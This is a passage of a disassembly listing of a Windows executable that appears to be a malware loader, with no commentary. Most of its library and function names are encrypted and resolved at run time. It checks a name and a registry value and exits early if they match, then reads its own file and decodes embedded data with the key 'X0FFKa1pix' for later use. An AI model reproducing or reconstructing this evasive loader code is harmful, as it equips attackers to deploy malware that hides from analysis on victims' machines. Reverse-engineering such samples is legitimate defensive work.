		push	ebx
		push	esi
		push	edi
		mov	ecx, 40h
		xor	eax, eax
		lea	edi, [esp+114h+var_103]
		mov	[esp+114h+var_104], 0
		mov	[esp+114h+var_108], 104h
		rep stosd
		stosw
		stosb
		lea	eax, [esp+114h+var_108]
		lea	ecx, [esp+114h+var_104]
		push	eax
		push	ecx
		call	dword_404324
		mov	esi, offset dword_40423C
		lea	eax, [esp+11Ch+var_10C]


loc_40272F:				; CODE XREF: sub_4026F0+61j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_402757
		test	cl, cl
		jz	short loc_402753
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_402757
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_40272F


loc_402753:				; CODE XREF: sub_4026F0+4Bj
		xor	eax, eax
		jmp	short loc_40275C
; ---------------------------------------------------------------------------


loc_402757:				; CODE XREF: sub_4026F0+47j
					; sub_4026F0+57j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_40275C:				; CODE XREF: sub_4026F0+65j
		pop	edi
		pop	esi
		test	eax, eax
		pop	ebx
		jz	short loc_4027AA
		lea	eax, [esp+110h+var_10C]
		push	offset dword_404248
		push	eax
		call	sub_4026A0
		add	esp, 4
		push	eax
		call	sub_402400
		add	esp, 8
		test	eax, eax
		jnz	short loc_4027AA
		lea	ecx, [esp+110h+var_10C]
		push	offset dword_404250
		push	ecx
		call	sub_4026A0
		add	esp, 4
		push	eax
		call	sub_402400
		add	esp, 8
		test	eax, eax
		jnz	short loc_4027AA
		xor	al, al
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_4027AA:				; CODE XREF: sub_4026F0+71j
					; sub_4026F0+90j ...
		mov	al, 1
		add	esp, 108h
		retn
sub_4026F0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4027C0	proc near		; CODE XREF: sub_402850:loc_4028A0p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1F		= byte ptr -1Fh

		sub	esp, 2Ch
		push	ebx
		push	edi
		mov	ecx, 7
		xor	eax, eax
		lea	edi, [esp+34h+var_1F]
		mov	[esp+34h+var_20], 0
		rep stosd
		stosw
		stosb
		lea	eax, [esp+34h+var_2C]
		mov	ebx, 1
		push	eax
		push	offset dword_404258
		push	80000001h
		mov	[esp+40h+var_28], 1Fh
		mov	[esp+40h+var_24], ebx
		call	dword_404318
		test	eax, eax
		jnz	short loc_40283D
		lea	ecx, [esp+34h+var_28]
		lea	edx, [esp+34h+var_20]
		push	ecx
		mov	ecx, [esp+38h+var_2C]
		lea	eax, [esp+38h+var_24]
		push	edx
		push	eax
		push	0
		push	offset dword_40426C
		push	ecx
		call	dword_4042E0
		test	eax, eax
		jnz	short loc_402832
		cmp	[esp+34h+var_20], 30h
		jnz	short loc_402832
		xor	bl, bl


loc_402832:				; CODE XREF: sub_4027C0+67j
					; sub_4027C0+6Ej
		mov	edx, [esp+34h+var_2C]
		push	edx
		call	dword_404328


loc_40283D:				; CODE XREF: sub_4027C0+42j
		mov	al, bl
		pop	edi
		pop	ebx
		add	esp, 2Ch
		retn
sub_4027C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402850	proc near		; CODE XREF: start+7Dp

var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 114h
		push	ebx
		push	esi
		push	edi
		jmp	short loc_402865
; ---------------------------------------------------------------------------
		xor	eax, eax
		jmp	loc_402967
; ---------------------------------------------------------------------------


loc_402865:				; CODE XREF: sub_402850+Cj
		mov	[ebp+var_10C], 0
		mov	ecx, 40h
		xor	eax, eax
		lea	edi, [ebp+var_10B]
		rep stosd
		stosw
		stosb
		mov	[ebp+var_8], 0
		call	sub_401C50
		call	sub_401910
		and	eax, 0FFh
		test	eax, eax
		jnz	short loc_4028A0
		or	eax, 0FFFFFFFFh
		jmp	loc_402967
; ---------------------------------------------------------------------------


loc_4028A0:				; CODE XREF: sub_402850+46j
		call	sub_4027C0
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_4028B5
		xor	eax, eax
		jmp	loc_402967
; ---------------------------------------------------------------------------


loc_4028B5:				; CODE XREF: sub_402850+5Cj
		call	sub_4026F0
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_4028CA
		xor	eax, eax
		jmp	loc_402967
; ---------------------------------------------------------------------------


loc_4028CA:				; CODE XREF: sub_402850+71j
		call	sub_4024A0
		test	eax, eax
		jz	short loc_4028DA
		xor	eax, eax
		jmp	loc_402967
; ---------------------------------------------------------------------------


loc_4028DA:				; CODE XREF: sub_402850+81j
		push	104h
		lea	eax, [ebp+var_10C]
		push	eax
		push	0
		call	dword_4042FC
		lea	ecx, [ebp+var_114]
		push	ecx
		lea	edx, [ebp+var_4]
		push	edx
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_4025C0
		add	esp, 0Ch
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_402965
		mov	ecx, [ebp+var_114]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		push	offset aX0ffka1pix ; "X0FFKa1pix"
		call	sub_401040
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_110]
		push	eax
		mov	ecx, [ebp+var_114]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_401190
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_40433C
		mov	ecx, [ebp+var_110]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_401890
		add	esp, 10h


loc_402965:				; CODE XREF: sub_402850+BFj
		xor	eax, eax


loc_402967:				; CODE XREF: sub_402850+10j
					; sub_402850+4Bj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_402850	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame

		public start

start		proc near

StartupInfo	= _STARTUPINFOA	ptr -44h

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		push	esi
		call	ds:GetCommandLineA	; GetCommandLineA
		mov	esi, eax
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_402999


loc_402985:				; CODE XREF: start+1Fj
		mov	al, [esi+1]
		inc	esi
		test	al, al
		jz	short loc_402991
		cmp	al, 22h
		jnz	short loc_402985


loc_402991:				; CODE XREF: start+1Bj
		cmp	byte ptr [esi],	22h
		jnz	short loc_4029A3


loc_402996:				; CODE XREF: start+3Bj
		inc	esi
		jmp	short loc_4029A3
; ---------------------------------------------------------------------------


loc_402999:				; CODE XREF: start+13j
		cmp	al, 20h
		jle	short loc_4029A3


loc_40299D:				; CODE XREF: start+31j
		inc	esi
		cmp	byte ptr [esi],	20h
		jg	short loc_40299D


loc_4029A3:				; CODE XREF: start+24j	start+27j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_4029AD
		cmp	al, 20h
		jle	short loc_402996


loc_4029AD:				; CODE XREF: start+37j
		and	[ebp+StartupInfo.dwFlags], 0
		lea	eax, [ebp+StartupInfo]
		push	eax		; lpStartupInfo
		call	ds:GetStartupInfoA	; GetStartupInfoA
		call	sub_402A1D
		push	offset dword_404004
		push	offset dword_404000
		call	sub_402A03
		test	byte ptr [ebp+StartupInfo.dwFlags], 1
		pop	ecx
		pop	ecx
		jz	short loc_4029DD
		movzx	eax, [ebp+StartupInfo.wShowWindow]
		jmp	short loc_4029E0
; ---------------------------------------------------------------------------


loc_4029DD:				; CODE XREF: start+65j
		push	0Ah
		pop	eax


loc_4029E0:				; CODE XREF: start+6Bj
		push	eax
		push	esi
		push	0
		push	0		; lpModuleName
		call	ds:GetModuleHandleA	; GetModuleHandleA
		push	eax
		call	sub_402850
		mov	esi, eax
		call	sub_402A35
		push	esi		; uExitCode
		call	ds:ExitProcess	; ExitProcess
start		endp

; ---------------------------------------------------------------------------
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_402A03	proc near		; CODE XREF: start+5Ap	sub_402A35+14p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_402A08:				; CODE XREF: sub_402A03+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_402A1B
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_402A16
		call	eax


loc_402A16:				; CODE XREF: sub_402A03+Fj
		add	esi, 4
		jmp	short loc_402A08
; ---------------------------------------------------------------------------


loc_402A1B:				; CODE XREF: sub_402A03+9j
		pop	esi
		retn
sub_402A03	endp


; =============== S U B	R O U T	I N E =======================================



sub_402A1D	proc near		; CODE XREF: start+4Bp
		push	20h
		pop	eax
		push	4
		push	eax
		mov	dword_404344, eax
		call	sub_402A51
		pop	ecx
		mov	dword_404340, eax
		pop	ecx
		retn
sub_402A1D	endp


; =============== S U B	R O U T	I N E =======================================



sub_402A35	proc near		; CODE XREF: start+84p
		mov	ecx, dword_404348
		test	ecx, ecx
		jz	short locret_402A50
		mov	eax, dword_404340
		lea	ecx, [eax+ecx*4]
		push	ecx
		push	eax
		call	sub_402A03
		pop	ecx
		pop	ecx

locret_402A50:				; CODE XREF: sub_402A35+8j
		retn
sub_402A35	endp


; =============== S U B	R O U T	I N E =======================================



sub_402A51	proc near		; CODE XREF: sub_402A1D+Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		imul	eax, [esp+arg_4]
		push	eax		; dwBytes
		push	8		; dwFlags
		call	ds:GetProcessHeap	; GetProcessHeap
		push	eax		; hHeap
		call	ds:HeapAlloc
		retn
sub_402A51	endp

; ---------------------------------------------------------------------------
		align 200h
_text		ends

; Section 2. (virtual address 00003000)
; Virtual size			: 0000018C (	396.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00002000
; Flags	40000040: Data Readable
; Alignment	: default
;
; Imports from KERNEL32.dll
;
; ===========================================================================

; Segment type:	Externs
; _idata
; HGLOBAL __stdcall GlobalAlloc(UINT uFlags, SIZE_T dwBytes)
		extrn GlobalAlloc:dword	; CODE XREF: sub_401000+Ep
					; DATA XREF: sub_401000+Er
; HGLOBAL __stdcall GlobalFree(HGLOBAL hMem)
		extrn GlobalFree:dword	; CODE XREF: sub_401030+5p
					; DATA XREF: sub_401030+5r
; HMODULE __stdcall LoadLibraryA(LPCSTR	lpLibFileName)
		extrn LoadLibraryA:dword ; CODE	XREF: sub_401540+9p
					; sub_401910+1Cp ...
; BOOL __stdcall FreeLibrary(HMODULE hLibModule)
		extrn FreeLibrary:dword	; CODE XREF: sub_401910+327p
					; DATA XREF: sub_401910+327r
; FARPROC __stdcall GetProcAddress(HMODULE hModule, LPCSTR lpProcName)
		extrn GetProcAddress:dword ; CODE XREF:	sub_401910+35p
					; sub_401910+42p ...
; HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName)
		extrn GetModuleHandleA:dword ; CODE XREF: sub_401910+9p
					; sub_4025C0+Ap ...
; DWORD	__stdcall GetLastError()
		extrn GetLastError:dword ; CODE	XREF: sub_4025C0+64p
					; DATA XREF: sub_4025C0+64r
; void __stdcall SetLastError(DWORD dwErrCode)
		extrn SetLastError:dword ; CODE	XREF: sub_4025C0+3Fp
					; DATA XREF: sub_4025C0+3Fr
; BOOL __stdcall CloseHandle(HANDLE hObject)
		extrn CloseHandle:dword	; CODE XREF: sub_4025C0+37p
					; sub_4025C0+C8p
					; DATA XREF: ...
; void __stdcall ExitProcess(UINT uExitCode)
		extrn ExitProcess:dword	; CODE XREF: start+8Ap
					; DATA XREF: start+8Ar
; void __stdcall GetStartupInfoA(LPSTARTUPINFOA	lpStartupInfo)
		extrn GetStartupInfoA:dword ; CODE XREF: start+45p
					; DATA XREF: start+45r
; LPSTR	__stdcall GetCommandLineA()
		extrn GetCommandLineA:dword ; CODE XREF: start+7p
					; DATA XREF: start+7r
; LPVOID __stdcall HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes)
		extrn HeapAlloc:dword	; CODE XREF: sub_402A51+13p
					; DATA XREF: sub_402A51+13r
; HANDLE __stdcall GetProcessHeap()
		extrn GetProcessHeap:dword ; CODE XREF:	sub_402A51+Cp
					; DATA XREF: sub_402A51+Cr

; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 403038h
		dd 0
		dd 3064h, 2 dup(0)
		dd 312Eh, 3000h, 5 dup(0)
		dd 30A0h, 30AEh, 30BCh,	30CCh, 30DAh, 30ECh, 3100h, 3110h
		dd 3120h, 313Ch, 314Ah,	315Ch, 316Eh, 317Ah, 0
		dd 6C470181h, 6C61626Fh, 6F6C6C41h, 1880063h, 626F6C47h
		dd 72466C61h, 6565h, 6F4C01C2h,	694C6461h, 72617262h, 4179h
		dd 724600B4h, 694C6565h, 72617262h, 13E0079h, 50746547h
		dd 41636F72h, 65726464h, 7373h,	65470126h, 646F4D74h, 48656C75h
		dd 6C646E61h, 4165h, 6547011Ah,	73614C74h, 72724574h, 726Fh
		dd 65530271h, 73614C74h, 72724574h, 726Fh, 6C43001Bh, 4865736Fh
		dd 6C646E61h, 454B0065h, 4C454E52h, 642E3233h, 6C6Ch, 7845007Dh
		dd 72507469h, 7365636Fh, 1500073h, 53746547h, 74726174h
		dd 6E497075h, 416F66h, 654700CAh, 6D6F4374h, 646E616Dh
		dd 656E694Ch, 1990041h,	70616548h, 6F6C6C41h, 1400063h
		dd 50746547h, 65636F72h, 65487373h, 7061h, 1Dh dup(0)
_rdata		ends

; Section 3. (virtual address 00004000)
; Virtual size			: 0000034C (	844.)
; Section size in file		: 00000400 (   1024.)
; Offset to raw	data for section: 00002200
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 404000h
dword_404000	dd 0		dword_404004	dd 0		aX0ffka1pix	db 'X0FFKa1pix',0       ; DATA XREF: sub_401C50+9o
					; sub_401C50+30o ...
		align 4
; char ModuleName[]
ModuleName	db 'Vs'                ; DATA XREF: sub_401910+4o
					; sub_401C50+4o ...
		db 12h
aSsB		db 'Sb)',0
		align 10h
; char aSle[]
aSle		db 'Se'                ; DATA XREF: sub_401910+15o
					; sub_401C50+22o ...
		db 10h
		dd 3C851191h, 0D258446Bh, 0
; char ProcName[]
ProcName	db 'ne',0Ah,''        ; DATA XREF: sub_401910+2Do
					; sub_401C50+88o ...
		db 1Ch,	0DAh, 4Fh
		db ')L[',0
		align 10h
; char aNzeB[]
aNzeB		db 'ne',0Ah,''        ; DATA XREF: sub_401910+37o
					; sub_401C50+BBo ...
		db 1Ch,	0DAh, 4Fh
		dd 0DD5B4C29h, 5715h
; const	CHAR dword_404050
dword_404050	dd 3363AB7Fh, 62C3199Bh, 0D25D6620h, 6FBD6135h,	74Bh
					; DATA XREF: sub_401910+44o
					; sub_401C50+F7o ...
; char aBB[]
aBB		db 'bB'                ; DATA XREF: sub_401910+51o
					; sub_401C50+12Do ...
		db 10h
		dd 58C61C99h, 0F143452Ch, 61B97C36h, 3CD42F5Ah,	0
; char aR[]
aR		db '~r',1Bh,''        ; DATA XREF: sub_401910+5Eo
					; sub_401C50+157o ...
		db 14h,	0D4h, 7Ch
		dd 4D5224h
; char aR_0[]
aR_0		db '{r'                ; DATA XREF: sub_401910+6Bo
					; sub_401C50+18Ao ...
		db 1Fh
		dd 7CE61880h, 0CD51432Ah, 6E23h
; const	CHAR dword_404098
dword_404098	dd 2A63AB7Fh, 6FD30F9Ch, 0D05B6321h, 76A44A24h,	0
					; DATA XREF: sub_401910+78o
					; sub_401C50+1D0o ...
; char aJlv[]
aJlv		db 'jv'                ; DATA XREF: sub_401910+85o
					; sub_401C50+1F0o ...
		db 1Ah
		dd 6DD90FA4h, 0F3475320h, 70B34235h, 57h
; char aNzeB_0[]
aNzeB_0		db 'ne',0Ah,''        ; DATA XREF: sub_401910+92o
					; sub_401C50+223o ...
		db 1Ch,	0DAh, 5Fh
		dd 0C7464530h, 5715h
; char aNzeB_1[]
aNzeB_1		db 'ne',0Ah,''        ; DATA XREF: sub_401910+9Fo
					; sub_401C50+262o ...
		db 1Ch,	0DAh, 5Eh
a7o@3Sz		db '7O@3[z',0
		align 4
; char aOSAEg[]
aOSAEg		db 'o~',0Ah            ; DATA XREF: sub_401910+ACo
					; sub_401C50+28Co ...
		db '-a&EG'
		dd 6DB14A1Dh, 3F5Ch
; char aKlc[]
aKlc		db 'kc*'              ; DATA XREF: sub_401910+B9o
					; sub_401C50+2C8o ...
		db 0Fh,	0D3h, 6Fh
aCJdv		db '!c[$Jv',0
		align 4
; char aJldS[]
aJldS		db 'jd',0Bh,''        ; DATA XREF: sub_401910+C6o
					; sub_401C50+2F2o ...
		db 18h,	0E2h, 66h
a7eu		db '7EU',0
		align 4
; char aVxS5Lq[]
aVxS5Lq		db '{x',0Dh,'5`!LQ',0 ; DATA XREF: sub_401910+D3o
					; sub_401C50+325o ...
; char aLle[]
aLle		db 'le'                ; DATA XREF: sub_401910+E0o
					; sub_401C50+358o ...
		db 13h
		dd 7AD7139Dh, 0D1467020h, 71AF4A33h, 0
; char aNzeB_2[]
aNzeB_2		db 'ne',0Ah,''        ; DATA XREF: sub_401910+EDo
					; sub_401C50+3A1o ...
		db 1Ch,	0DAh, 48h
		dd 514537h
; char aKvrD[]
aKvrD		db 'kr',1Bh,'',0      ; DATA XREF: sub_401910+114o
					; sub_401C50+427o ...
		align 10h
; char aKlc2i[]
aKlc2i		db 'kc2'              ; DATA XREF: sub_401910+107o
					; sub_401C50+3C1o ...
		db 1Eh,	0D7h, 62h
		dd 0DB594911h, 0
; const	CHAR dword_404160
dword_404160	dd 3263AB7Fh, 62D71E9Bh, 0DB594911h, 0					; sub_401C50+3F4o ...
; char aJI[]
aJI		db 'j{='              ; DATA XREF: sub_401910+121o
					; sub_401C50+45Ao ...
		db 10h,	0C6h, 7Ch
		dd 0FC475320h, 67BA4925h, 5Ch
; char aJS[]
aJS		db 'j{:'              ; DATA XREF: sub_401910+12Eo
					; sub_401C50+48Do ...
		db 1Eh,	0D9h, 63h
a5rqMidh	db '5RQ#mdH#',0
; char aJ9s[]
aJ9s		db 'j{9',9            ; DATA XREF: sub_401910+13Bo
					; sub_401C50+4CCo ...
		dw 61F5h
		dd 0DB465028h, 6DB55C23h, 20D41140h, 0DFDC1D60h, 0C3DC8A8Ch
		dd 2FEFh
; char aR_1[]
aR_1		db '{r'                ; DATA XREF: sub_401910+148o
					; sub_401C50+4F6o ...
		db 1Fh
		dd 67F01880h, 754529h
; char aJlv_0[]
aJlv_0		db 'jv'                ; DATA XREF: sub_401910+155o
					; sub_401C50+529o ...
		db 1Ah
		dd 6BDA14B2h, 0
; const	CHAR dword_4041D0
dword_4041D0	dd 3863AB7Fh, 5DD3119Dh, 0FB515A2Ch, 28h					; sub_401C50+56Co ...
; char aKlc8a[]
aKlc8a		db 'kc8'              ; DATA XREF: sub_401910+162o
					; sub_401C50+58Fo ...
		db 11h,	0D3h, 5Eh
aIz5		db '*IZ5]',0
		align 10h
; char aYka[]
aYka		db 'Ya'                ; DATA XREF: sub_401910+1Eo
					; sub_401C50+55o ...
		db 1Fh
		dd 3C851484h, 0D258446Bh, 0
; const	CHAR dword_404200
dword_404200	dd 2B63AB7Fh, 40C41887h, 0FF514D24h, 0					; sub_401C50+5C2o ...
; char aJlp1d[]
aJlp1d		db 'jp1'              ; DATA XREF: sub_401910+189o
					; sub_401C50+601o ...
		db 18h,	0D8h, 45h
		dd 755920h
; char aJlpB[]
aJlpB		db 'jp/'              ; DATA XREF: sub_401910+196o
					; sub_401C50+62Bo ...
		db 18h,	0C4h, 77h
		dd 0CB584113h, 43A46A35h, 0
; char aJlpS[]
aJlpS		db 'jp='              ; DATA XREF: sub_401910+1A3o
					; sub_401C50+65Eo ...
		db 12h,	0C5h, 6Bh
		dd 4D450Eh
dword_40423C	dd 0C65BB7Bh, 5BC21391h, 464536h					; sub_401C50+6CDo ...
dword_404248	dd 1A79AF4Bh, 0CE1296h					; sub_401C50+700o ...
dword_404250	dd 1F60A34Eh, 1886h					; sub_401C50+72Fo ...
dword_404258	dd 0A79A17Bh, 2EDA1286h, 0DB5A4115h, 6D91733Ch,	0DE355Bh
					; DATA XREF: sub_401C50+73Do
					; sub_401C50+769o ...
dword_40426C	dd 0E76B96Bh, 7DC312B9h, 0CA416220h, 71B24024h,	0
					; DATA XREF: sub_401C50+760o
					; sub_401C50+798o ...
		dd 1C78A27Fh, 62F71195h, 574F29h, 1C78A27Fh, 7CF01195h
		dd 4520h, 3263AB6Bh, 4BC20E95h,	0CC5B5237h, 0
		dd 3263AB7Fh, 4BC20E95h, 0CC5B5237h, 0
; char LibFileName[]
LibFileName	db 'ntdll.dll',0        ; DATA XREF: sub_401540+2o
		align 4
dword_4042C4	dd 0							; sub_401910+141w ...
dword_4042C8	dd 0							; sub_401910+8Bw ...
dword_4042CC	dd 0							; sub_401670+1E9r ...
dword_4042D0	dd 0							; sub_401910+64w ...
dword_4042D4	dd 0							; sub_401910+71w ...
dword_4042D8	dd 0							; sub_401910+14Ew ...
dword_4042DC	dd 0							; sub_401910+2ADr
dword_4042E0	dd 0							; sub_401910+311r ...
dword_4042E4	dd 0							; sub_401910+7Ew ...
dword_4042E8	dd 0							; sub_401910+98w ...
dword_4042EC	dd 0							; sub_401910+2DFr ...
dword_4042F0	dd 0							; sub_401910+A5w ...
dword_4042F4	dd 0							; sub_401910+FFw ...
dword_4042F8	dd 0							; sub_401910+B2w ...
dword_4042FC	dd 0							; sub_401910+57w ...
dword_404300	dd 0							; sub_401910+2D5r ...
dword_404304	dd 0							; sub_401910+2A3r
dword_404308	dd 0							; sub_401910+2F3r ...
dword_40430C	dd 0							; sub_401910+D9w ...
dword_404310	dd 0							; sub_401910+2B7r
dword_404314	dd 0							; sub_401910+CCw ...
dword_404318	dd 0							; sub_401910+307r ...
dword_40431C	dd 0							; sub_401670+E7r ...
dword_404320	dd 0							; sub_401670+174r ...
dword_404324	dd 0							; sub_401910+2FDr ...
dword_404328	dd 0							; sub_4027C0+77r
dword_40432C	dd 0							; sub_401910+295r
dword_404330	dd 0							; sub_401910+F3w ...
dword_404334	dd 0							; sub_401910+2E9r ...
dword_404338	dd 0							; sub_401910+3Dw ...
dword_40433C	dd 0		dword_404340	dd 0							; sub_402A35+Ar
dword_404344	dd 0		dword_404348	dd 0				align 100h
_data		ends


		end start